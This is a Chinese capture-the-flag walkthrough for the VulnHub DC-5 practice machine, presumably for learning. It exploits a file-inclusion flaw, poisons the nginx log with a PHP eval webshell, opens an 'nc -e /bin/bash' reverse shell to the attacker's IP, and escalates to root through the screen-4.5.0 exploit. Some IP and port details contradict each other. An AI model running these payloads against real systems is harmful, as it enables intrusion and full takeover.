1.下载靶机
本篇文章是DC靶机系列的第五篇,针对的是靶机DC-5,建议感兴趣的读者从DC-1开始练习,详细内容可以看我之前的文章。
DC-5的下载地址为DC: 5 ~ VulnHub。下载后解压为.ova文件,该格式可直接在VMware上打开,如果显示打开失败,点击重试即可成功,如果仍无法成功可百度、谷歌解决。
同样地,DC-5只有一个flag。
在VMware加载成功之后显示如下界面:
默认状态我们是打不开该系统的,也不知道账号密码的,毕竟我们的目的就是在不知道账号密码的情况下拿到root权限,找到flag。注意,这里建议把DC-5靶机的网络链接模式改为NAT模式。本文使用的攻击机为kali(安装在VMware上,IP为:192.168.88.128)。
2.收集靶机信息
由于本文的攻击机和靶机在同一个网络下,因此在kali上输入命令: arp-scan -l,显示如下
可判断出靶机的ip为192.168.88.130,接着使用nmap对该ip进行扫描,输入命令:nmap -sV -p- 192.168.88.129
开了两个端口88和111,111端口是RPC服务,网上搜索了一下发现没什么可利用的点,此端口待定。浏览器访问80端口,看看有什么发现:
四处翻看一下,发现contact页面可以填信息,想着能不能上传木马,先随便写写看看有什么变化
发现了惊喜,提交之前还是2019,提交之后就变成了2018。然后刷新试试,发现不停地在变化。好像在暗示我什么,赶紧抓包看看。
发送repeater,看看返回数据
不断点击,发现footer不断变化,说明这里可能存在一个独立的脚本文件,猜测是footer文件,这里其实也可以使用目录扫描工具扫描的。这里就不展示了,代码提示挺明显的,我们可以测试一下
果然是可以的,说明是存在文件包含漏洞的。这里要说明两点,file和footer.php,为什么可以判定是file,其实包含文件就这么几个,一一测试一下即可,判断是footer.php也是因为这里给了提示的,实际来说,还是有要一个强大的目录字典,配合目录扫描工具(burpsuit也可以的)猜解的。
3.漏洞验证
现在是确定存在文件包含漏洞了,接下来就要验证该漏洞如何利用了。改变访问路径为thankyou.php?file=/etc/passwd ,可以看到passwd文件在右侧显示了。
这说明了该系统对访问的文件没有做审核。接着我们把访问路径更改为木马文件,点击go
/hackyou <?php @eval($_REQUEST[123]);?>
显示404,为了验证该命令是否生效,我们可以查看ngnix的日志,看看是否存在hackyou。已知对于配置了nginx的网站,无论网站有什么操作,都会被记录在/var/log/nginx/access.log和/var/log/nginx/error.log里面,我们用同样的方法访问该路径
可以看到已经生效了,漏洞验证存在,接下来漏洞利用。
4.漏洞利用
木马文件已经上传,接下来可以利用中国蚁剑或者其他网站管理工具连接访问,我采用的是中国蚁剑,感兴趣的同学可以看我的另外一个讲述中国蚁剑安装的博客。
然后连接
再接下来进行反弹shell操作
首先在kali上开启监听
我们利用中国蚁剑打开网站的虚拟终端,反弹shell到我们的kali上,输入命令行
nc -e /bin/bash 192.168.88.128 7777
该连接不够稳定,我们利用python脚本开启交互模式,在kaili上输入命令行
python -c 'import pty;pty.spawn("/bin/bash")'
现在的用户权限不高,接下来找找看是否存在root权限无密码的存在,输入命令行
find / -perm -u=s -type f 2>/dev/null
发现screen-4.5.0比较可疑,尝试用searchsploit搜索是否存在漏洞
两个文件是相同的,41152.txt是告诉你怎么做,之前的靶机也出现过,显然41154.sh已经把文件给了,所以选择下载41154.sh
searchsploit -p 41154.sh #查看文件位置
将文件复制到目录下,保存为41154.sh
查看,主要分为三部分
按照文件的说明,可分为三部分,将第一个框里内容保存为第一文件,名为libhax.c,然后使用打五角星的命令编译,编译结束会生成libhax.so文件。
同样地,第二个框里内容保存为rootshell.c文件,使用打五角星的命令编译,编译结束后生成rootshell文件。
将第三个框里内容保存为第三个文件,命名随意,我这里保存为run.sh。
注意:如果你不是保存在tmp目录下的,编译的时候,把命令行的的/tmp/去掉。
编译好结束之后,将libhax.so,rootshell,run.sh上传至靶机的tmp目录下(为什么是这个目录呢,主要是因为一般情况下,这个路径的限制比较小,我尝试传到其他目录没有成功,而且第三部分已经提示放在/tmp下了)。
上传的方式有很多,我直接采用中国蚁剑上传
这里一定要注意,是放在根目录下的/tmp,而不是/var/tmp,否则怎么都不回编译成功的。/var/是网站源码位置。
可以看到有screens文件,然后输入bash ./run.sh
编译成功,查看用户权限。
现在已经是root权限了。接下来打开root目录,发现了flag文件,至此结束!